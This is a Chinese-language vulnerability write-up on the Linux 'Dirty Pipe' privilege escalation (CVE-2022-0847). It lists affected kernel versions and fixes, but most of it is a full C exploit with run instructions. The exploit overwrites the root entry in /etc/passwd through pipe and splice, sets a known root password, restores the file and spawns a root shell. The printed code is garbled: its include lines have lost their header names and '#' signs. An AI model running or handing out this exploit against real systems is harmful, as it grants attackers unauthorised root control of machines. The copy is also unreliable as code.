0x01 漏洞描述

2022年３月７日，研究人员公开披露了Linux 内核中的一个权限提升漏洞（CVE-2022-0847，也称为“Dirty Pipe”），允许非特权用户注入和覆盖任意只读文件中的数据，导致权限提升，并最终获得root权限。该漏洞影响了 Linux Kernel 5.8 及更高版本，甚至影响了Android设备。

0x02 漏洞影响范围

影响范围：5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102

0x03 漏洞复现

gcc exploit.c -o exp

./exploit

注意此脚本会修改root密码，脚本会自动备份在/tmp/passwd.bak，还原即可。

0x04 exploit.c

```

define _GNU_SOURCE

include

include

include

include

include

include

include

ifndef PAGE_SIZE

define PAGE_SIZE 4096

endif

static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

}

int main() {
const char *const path = "/etc/passwd";

    printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
    FILE *f1 = fopen("/etc/passwd", "r");
    FILE *f2 = fopen("/tmp/passwd.bak", "w");

    if (f1 == NULL) {
        printf("Failed to open /etc/passwd\n");
        exit(EXIT_FAILURE);
    } else if (f2 == NULL) {
        printf("Failed to open /tmp/passwd.bak\n");
        fclose(f1);
        exit(EXIT_FAILURE);
    }

    char c;
    while ((c = fgetc(f1)) != EOF)
        fputc(c, f2);

    fclose(f1);
    fclose(f2);

loff_t offset = 4; // after the "root"
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

const int fd = open(path, O_RDONLY); // yes, read-only!
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

int p[2];
prepare_pipe(p);

--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\"Restoring /etc/passwd from /tmp/passwd.bak...\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\"Done! Popping shell... (run commands now)\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv);

    printf("system() function call seems to have failed :(\n");

return EXIT_SUCCESS;
}
```

0x05 修复建议

Linux 内核 >= 5.16.11

Linux 内核 >= 5.15.25

Linux 内核 >= 5.10.102

0x06 相关资料

漏洞分析：https://zhuanlan.kanxue.com/article-17911.htm